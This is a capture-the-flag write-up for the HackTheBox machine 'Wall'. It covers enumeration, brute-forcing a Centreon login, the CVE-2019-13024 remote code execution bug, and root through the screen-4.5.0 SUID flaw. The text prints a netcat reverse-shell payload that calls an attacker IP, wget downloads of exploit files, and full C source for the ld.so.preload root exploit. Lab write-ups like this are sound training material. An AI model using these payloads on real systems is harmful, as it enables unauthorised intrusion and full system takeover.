HackTheBox - Wall 🧱🔨

Quick Summary

→ Wall is my very first machine on HackTheBox that I hacked. It is running in Web Application that vulnerable to RCE(Remote Code Execution), a classification of security vulnerabilities. RCE enables a remote attacker to execute arbitrary code, bypassing security authorization, and by abusing this vulnerabilities I manage to get in into the machine. First I fall on to the rabbit hole which is the aa.php, and server-status page. The tricky part of this machine was finding the hidden page of the web application because it’s not something normally shows up in the wordlists. I use the Burp Suite and edit the Request fo find some interesting stuffs and then i found the right page of the webapps. The vulnerability inside is a SUID binary which users can get a full privileges.

Penetration Testing Methodologies

1. Network Scanning

   → Nmap scan

   → discover open ports and what services are running

2. Enumeration

   → Browsing the HTTP Service

   → Bruteforce the Web page directories

   → Finding the hidden page

3. Post - Exploitation

   → Exploring the web page

   → Bruteforce the credentials using the token

   → Logging in as admin

4. Exploitation

   → Getting the Reverse shell using CVE-2019-13024.

   → Find some interesting things

   → Check Linux Binaries

5. Privilege Escalation

   → Exploit the unusual Linux binaries

   → Execute the exploit

   → Get the root shell and read the root and user file

Network Scanning

Walkthrough

→ First, is to scan the target IP using Nmap to get information about the various services that are running on the target machine. We use

---

• -sV ⇒ Probe open ports to determine service/version info
• -sC ⇒ equivalent to —script=default
• -A ⇒ Enable OS detection, version detection, script scanning, and traceroute
• -oN ⇒ to save our scan results to a text file

---

# bash
nmap -sV -sC -A 10.10.10.157 -oN nmap-Wall

Nmap results

Enumeration

By visiting the http page we got the default page of Apache Web Server

We try to explore the default page by inspecting the source code but I can’t find any interesting things there so I’ll try to bruteforce the directories to look for hidden page. I use gobuster with medium.txt file. To save the outfile we use -o name of a file

# bash
gobuster dir -u http://10.10.10.157 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o wall-dir

After a minutes of bruteforcing I got the following directories.

# gobuster results

→ /aa.php  (Status: 200)

→ /server-status  (Status: 401)

→ /monitoring  (Status: 403)

Now let’s take a look with the following page I got. First the “aa.php”
http://10.10.10.157/aa.php

No interesting things here.

So next the server-status page
http://10.10.10.157/server-status

And I got the Forbidden page.

Next the is the monitoring page
http://10.10.10.157/monitoring

And I got a pop-up login. This page is very interesting but I don’t have any credentials so i will leave this for a while and try to enumerate again the machine using Nikto - Web Server scanner.

# bash
nikto -h http://10.10.10.157/

Nikto results

Next is I will intercept this request with BurpSuite (A Web Penetration Testing tool) and send this to Repeater.

Repeater

Now we will change the request body method into “POST” and let’s see what response we can get.

As you can see there’s a redirected page in URL='/centreon' so I try this on browser to find out what is this.

Centreon Login Page v. 19.04

Then a Centreon Login page with version 19.04. Centreon is an open source infrastructure monitoring software.
Based on some googling for default creds also in the documentation of the software, I tried all combinations of “centreon”, “admin”, and “root”, but didn’t get logged in.

---

Post - Exploitation

Finding Exploit

I try to explore the login page by viewing the page source code and try to look if there’s any interesting things.
I also google the version of the Centreon v19.04 and I found out that the version of this software is vulnerable to RCE(Remote Code Execution) attack.

Login page view page source

Brute Force the Credentials

By viewing the page source code, there’s a hidden value of Centreon CSRF token. After some research luckily I found this script on Github that can use to bruteforce the logins which are using anti-CSRF tokens to stop you from brute forcing them. I try to use this by the following commands based on the instructions of the script.

# bash shell
python3 brutecsrf.py --url http://test.com/index.php --csrf name_csrf_token_in_HTML_form --u admin --fuser user_name_in_HTML_form --passwd password_name_in_HTML_form

After a minute I get the “password1” now try to use this password for login with default username “admin” ;) then I can now logged in !

Centreon Main Page

---

Exploitation

We know that the Centreon version on this machine was vulnerable to RCE(Remote Code Execution) attack. So I did search on Google to find an article about it and what I saw was article from creator (Askar) of this box.

Exploit Blog for Centreon

Centreon v19.04 Remote Code Execution. (CVE-2019-13024)

Centreon v19.04 Remote Code Execution (CVE-2019-13024) - Shells.Systems

Estimated Reading Time: 6 minutes Summary about Centreon Ce…

---

The exploitation triggers by adding an arbitrary command in the nagios_bin parameter when setup a new configuration or update configuration for a poller.

Based on the blog we can set a payload in Monitoring Engine Binary.

I tried to use the exploit script but it’s not working, I didn’t get a reverse shell, my Ncat listener can’t get any response whenever I run the exploit even I modified it.
So i tried to encode my payload into base64 hoping that this one will work.

# My payload
rm /tmp/x22;mkfifo /tmp/xx2;cat /tmp/xx2|/bin/sh -i 2>&1|/bin/nc 10.10.15.44 666 >/tmp/xx2


# convert to base64
cm0gL3RtcC94MjI7bWtmaWZvIC90bXAveHgyO2NhdCAvdG1wL3h4MnwvYmluL3NoIC1pIDI+JjF8L2Jpbi9uYyAxMC4xMC4xNS40NCA2NjYgPi90bXAveHgy

Now I will paste our base64 code payload into Monitoring Engine Binary.

In the exploit script i will paste my payload too in nagios_bin line. with echo${IFS}

After running the exploit with my Ncat listener, still didn’t work. So I tried to search again on Google to look for other exploit of Centreon RCE and i found this. Same procedure I will paste again my payload to nagios_bin line and next is run the exploit with my Ncat listener.

./centreon_rce.py -t http://10.10.10.157/centreon -u admin -p password1

WWW-DATA SHELL -> shelby

Running this and we now get the www-data shell.

As you can see Bash’s job control is turned off. using this line we can enable bash command in the shell.

export TERM=xterm

Now I can use commands like “id”.

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)

upgrade the shell with python

python -c 'import pty; pty.spawn("/bin/bash");'

---

Privilege Escalation

Linux SUID Binaries

Now it’s time to find some interesting things in this machine that I can use for Privilege Escalation. First I look into Linux SUID binaries. and I spotted something odd, the screen with version 4-5.0 was the biggest hint for me.

find / -perm -4000 2>/dev/null | xargs ls -la

Screen 4-5.0

If you are familiar with Linux SUID’ you will notice that the “/bin/screen-4.5.0” is not a normally or default Linux suid so this one is very interesting so trying to use Searchsploit if there’s an existing exploit in “screen-4.5.0”. And there is.

I read first the .txt file of the exploit to know on how can I use this for exploitation.

searchsploit -x exploits/linux/local/41152.txt

It check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root acces in several ways.

Base on the instructions of the exploit, I will try to create a file “bla-bla” then use this commands “ls -la”

screen -D -m -L bla.bla echo fail

ls -la

As you can see, the “bla.bla” file is owned by root.

I will now use the exploit script we get on the searchsploit, but it didn’t work properly so I did it manually, first I compiled the binaries on my Kali machine:

libhax.c - code

// libhax
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

rootshell.c - code

// rootshell
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

Now is to compile this two exploit.

// libhax
gcc -fPIC -shared -ldl -o libhax.so libhax.c

// and then the rootshell
gcc -o rootshell rootshell.c

After I compile the exploit i’ll transfer it to the target. To transfer the file I set a local HTTP Server in my Kali machine.

python -m SimpleHTTPServer 80

to download it into Wall machine, we can use wget commands in the tmp directory.

# download the libhax
wget http://10.10.15.44/libhax.so

# next is the rootshell
wget http://10.10.15.44/libhax.c

Going to Root

Now i will go to the “/etc/“ directories in the target and do the exploit

www-data@Wall:/tmp$ cd /etc
cd /etc
www-data@Wall:/etc$ umask 000
umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
/libhax.so"-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
/bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

Now going to “/tmp/rootshell”

www-data@Wall:/etc$ /tmp/rootshell
/tmp/rootshell
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
# cat /home/shelby/user.txt | wc -c
cat /home/shelby/user.txt | wc -c
33
# cat /root/root.txt | wc -c
cat /root/root.txt | wc -c
33
#

Now that I’m root, I can now grab both flags – user.txt & root.txt :)

If you liked my writeup please leave a respect on my Profile